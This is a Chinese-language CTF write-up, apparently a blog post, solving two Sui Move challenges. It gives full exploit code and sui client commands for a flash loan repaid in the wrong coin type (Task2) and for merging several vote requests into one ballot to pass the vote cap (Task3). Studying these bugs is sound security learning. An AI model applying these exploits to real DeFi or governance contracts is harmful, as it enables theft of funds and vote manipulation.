Move CTF共学:Task2&Task3

  • hwen
  • 发布于 10小时前
  • 阅读 71

HOH Move CTF共学,Task2&Task3的解题思路,参加共学非常地开心,玩解谜还有钱拿,赚翻啦!

参与了HOH社区举办的Move CTF共学,本文主要分享Task2&Task3解题思路。二者解题很相似,都是因为没有对类型进行确认导致的错误

ctf参与平台: https://platform.cyclens.tech/activity/1

Task2解题

题目给出的代码是一个简易的流动性池,包含了创建池子、添加资产、进行代币兑换、支持 Flash Loan等功能

先看get_flag的要求:

public fun is_solved(challenge: &Challenge<LP, BUTT, DROP>): bool {  
    let pool = &challenge.pool;  
    let butt_balance = pool.balance_of<LP, BUTT>();  
    let is_flashloan = pool.is_flashloan();  

    butt_balance == 0 && is_flashloan == false  
}  

public fun get_flag(challenge: &mut Challenge<LP, BUTT, DROP>, github_id: String, ctx: &mut TxContext) {  
    assert!(is_solved(challenge), ENotSolved);  
    assert!(!challenge.success, EAlreadySolved);  

    challenge.success = true;  

    event::emit(FlagEvent {  
        sender: ctx.sender(),  
        flag: string::utf8(b"CTF{MoveCTF-Task2}"),  
        github_id,  
        success: true  
    });  
}

题目要求Challenge中的pool所存储的的Butt代币的余额必须为0,且没有欠下闪电贷,那就重点来看看闪电贷的代码

public fun flashloan<LP, A>(  
    pool: &mut Pool<LP>,  
    amount: u64,  
    ctx: &mut TxContext,  
): (Coin<A>, FlashReceipt) {  
    assert!(contains_type<LP, A>(pool), ETypeNotFoundInPool);  
    assert!(!pool.flashloan, EFlashloanAlreadyInProgress);  

    pool.flashloan = true;  

    let coin = withdraw_internal<LP, A>(pool, amount, ctx);  
    let receipt = FlashReceipt {  
        pool_id: object::id(pool),  
        type_name: type_name::get<A>().into_string(),  
        repay_amount: amount * (FEE_PRECISION + FLASHLOAN_FEE) / FEE_PRECISION,  
    };  
    (coin, receipt)  
}  

public fun repay_flashloan<LP, A>(pool: &mut Pool<LP>, receipt: FlashReceipt, coin: Coin<A>) {  
    let FlashReceipt { pool_id: id, type_name: _, repay_amount: amount } = receipt;  
    assert!(contains_type<LP, A>(pool), ETypeNotFoundInPool);  
    assert!(object::id(pool) == id, EPoolIdMismatch);  
    assert!(coin::value(&coin) == amount, ERepayAmountMismatch);  
    deposit_internal<LP, A>(pool, coin);  

    pool.flashloan = false;  
}

仔细观察发现,FlashReceipt 中存储了 type_name 代表借走的代币类型,但在 repay_flashloan还款函数中没有验证这个字符串与泛型参数 A 是否匹配。意味着你可以通过借出所有的B币,但用相同面额的A币去还闪电贷。攻击代码如下:


public fun solv_flag(  
    chalg: &mut Challenge<LP, BUTT, DROP>,  
    github_id : String,  
    ctx: &mut TxContext  
){  

    //获得一定量DROP代币  
    let mut drop = challenge::claim_drop(chalg,ctx);  

    //获得pool中Butt代币量  
    let butt_amount = pool::balance_of<LP,BUTT>(challenge::get_pool(chalg));   
    //借走走所有的Butt  
    let (stolen,receipt) = pool::flashloan<LP,BUTT>(  
        challenge::get_pool_mut(chalg),  
        butt_amount,  
        ctx  
    );  

    //计算还款金额并分出相对应数量的DROP  
    let repay_amount = butt_amount * (FEE_PRECISION + FLASHLOAN_FEE) / FEE_PRECISION;  
    let drop_for_pay = coin::split(&mut drop,repay_amount,ctx);  

    //使用DROP去还Butt的借款  
    pool::repay_flashloan<LP,DROP>(  
        challenge::get_pool_mut(chalg),  
        receipt,  
        drop_for_pay  
    );  

    if(challenge::is_solved(chalg)){  
        get_flag(chalg,github_id,ctx);  
    };  
    //处理剩余的代码  
    transfer::public_transfer(stolen,tx_context::sender(ctx));  
    transfer::public_transfer(drop,@0x0);  
}

//创建一个Challeng Object
public fun start(  
    mint_butt: MintBUTT<BUTT>,  
    mint_drop: MintDROP<DROP>,  
    create_cap: CreatePoolCap<LP>,  
    ctx: &mut TxContext){  
    let chalg = challenge::create_challenge(mint_butt,mint_drop,create_cap,ctx);  

    transfer::public_transfer(chalg,tx_context::sender(ctx));  
}

过程

开始解题,获得部署的合约地址和github id

image.png 修改题目文件夹中的Move.lock,添加分配到的的package id, 并在Move.toml中添加依赖项

[env.testnet]  
chain-id = "4c78adac"  
original-published-id = "0xe610a567bd5147115aeeec20294cc125ee1a2467bcb1396ce2a8a462a7cfd707"  
latest-published-id = "0xe610a567bd5147115aeeec20294cc125ee1a2467bcb1396ce2a8a462a7cfd707"  
published-version = "1"
#Move.toml
week2 = {local= "../move_contract"}

将解题代码publish后,调用命令行创建Challenge Obejct, 用分配到的package id在链上查询需要的MintBUTT<BUTT>等铸币权限的地址

sui client call --package 0xfdc03d506f8e2729872fe544a2ed2fabdfa4c11b95614061a0efd5e176add023 --module solv --function start --args 0x364e70a2422830fb92e26b658f6ac3f97baed2fb7a2d08a1d877279e9f1d1fdc 0x8085c5b3c72c0fe569a66f56f59b3a716b4dca2096dcd727a2c13aaf49c04210 0x6c7cbb2d01534da3cf2bbee3c843be354931ef825f21130b04497bbb3a13f682

创建成功的Challenge Obejct

image.png

调用solv_flag函数

sui client call --package 0xfdc03d506f8e2729872fe544a2ed2fabdfa4c11b95614061a0efd5e176add023 --module solv --function solv_flag --args 0xbe8c4e5cd1daef872c914a63b134bf05f9e0cd4419e4055e37b192a1aecf8603 "deccf1a2-960f-4a22-973b-b0af576af543"

返回通过

image.png

Task3解题

题目给出的是一个投票系统,每个用户可拥有一张选票。选票内含10票,由用户自行分配票数给候选人,来看解题要求:

public fun get_flag(  
    briber: &mut Briber,  
    ballot: &Ballot,  
    github_id: String,  
    ctx: &TxContext,  
) {  
    let ballot_id = ballot.id();  
    assert!(!briber.given_list.contains(ballot_id));  
    let votes = ballot.voted().try_get(&required_candidate());  
    assert!(votes.is_some());  
    assert!(votes.destroy_some() >= required_votes());  
    flag::emit_flag(ctx.sender(), ballot.id().to_address().to_string(), github_id);  
    briber.given_list.add(ballot_id, true);  
}

我们需要在一张ballot内指定的candidate地址投上超过21票,突破只有10票的权重分配

再去阅读投票的代码,可以得到投票的流程

  • request_vote申请一张ballot,同时生成一份Hot PotatoVoteRequest
  • vote进行投票,deduct_voting_power,将投票情况记录到VoteRequest中,并保证总票数不超过10
  • finish_voting用于销毁VoteRequest,并将VoteRequest中的记录存储到ballot

仔细去看各个函数的实现,可以发现一个华点,出题老师很贴心地在 finish_voting中加了一个累加的逻辑

if (already_voted.is_some()) {
    *ballot_voted.get_mut(&c) = already_voted.destroy_some() + v;
}

但每个 ballot 只能产生一个VoteRequest投票一次(has_voted = true),所以正常情况下 ballot.voted 应该是空的,不会有多个VoteRequest来触发累加。

再看一眼finsih_voting函数,理论上一个Ballot应该对应一个VoteRequestfinish_voting并没有检查二者的对应关系,所以我们用多个VoteRequest,集中投票给一个Ballot,这样就可以突破权重限制,投上21票了

解题代码如下:

public fun get_more_votes(ballot1: &mut Ballot,ballot2: &mut Ballot,ballot3: &mut Ballot,candiate : &mut Candidate){  

    let mut request1 = ballot::request_vote(ballot1);  
    let mut request2 = ballot::request_vote(ballot2);  
    let mut request3 = ballot::request_vote(ballot3);  

    candidate::amend_account(candiate,@0xbad);  

    //也可以选择10,投上个30票
    candidate::vote(candiate,&mut request1,7);  
    candidate::vote(candiate,&mut request2,7);  
    candidate::vote(candiate,&mut request3,7);  

    ballot::finish_voting(ballot1,request1);  
    ballot::finish_voting(ballot1,request2);  
    ballot::finish_voting(ballot1,request3);  
}

过程

从分配的合约中得到,

  • package ID 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9
  • briber object id 0xe582dd6ee071e44c04162d165116900268d067ba3d086f6b432aea30eb1aad2b
  • github-id c8ba470b-8902-4c7e-92cb-19a1d0901ad6

call register 注册Candidate Object

sui client call --package 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9 --module candidate --function register

得到 candidate object0x56f70235e6c1a805e8378437b356fa0e31eeec27510117bc67cf6fbd56207afb

执行三次get_ballot获得三个Ballot Object

sui client call --package 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9 --module ballot --function get_ballot
  • 0x6fee64f2e91b2e41ce7a599b8b1d48175a54a4e5a5791ebcb4886ddfdddb5596
  • 0x15ed7dbcec88bc5ba7c0c7de20e991ccb327eb546d02813e1f8e5f49c2525865
  • 0x89ffb76c40ba5ced66a78e7547fdda74542d9e1b9cc85ab69f3de86fd0aeee0d

publish 解题合约后,将得到的3个Ballot Object和Candidate object传入solv_week3

sui client call --package 0x50ff6d15e74ef433076f79b4ec79ec101800a4caab38a23f366ae51776e649b2 --module solv_week3 --function get_more_votes --args 0x6fee64f2e91b2e41ce7a599b8b1d48175a54a4e5a5791ebcb4886ddfdddb5596 0x15ed7dbcec88bc5ba7c0c7de20e991ccb327eb546d02813e1f8e5f49c2525865 0x89ffb76c40ba5ced66a78e7547fdda74542d9e1b9cc85ab69f3de86fd0aeee0d 0x56f70235e6c1a805e8378437b356fa0e31eeec27510117bc67cf6fbd56207afb

call get_flag ,得到flag

sui client call --package 0xd506ddc58131bbd32a5437255abb882301d783e3e457c38c3c1031598c97b6d9 --module briber --function get_flag --args 0xe582dd6ee071e44c04162d165116900268d067ba3d086f6b432aea30eb1aad2b 0x6fee64f2e91b2e41ce7a599b8b1d48175a54a4e5a5791ebcb4886ddfdddb5596 "c8ba470b-8902-4c7e-92cb-19a1d0901ad6"

返回成功

image.png

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
hwen
hwen
0x04cc...e629
区块链入门中,正在学习Move合约开发,持续发布学习笔记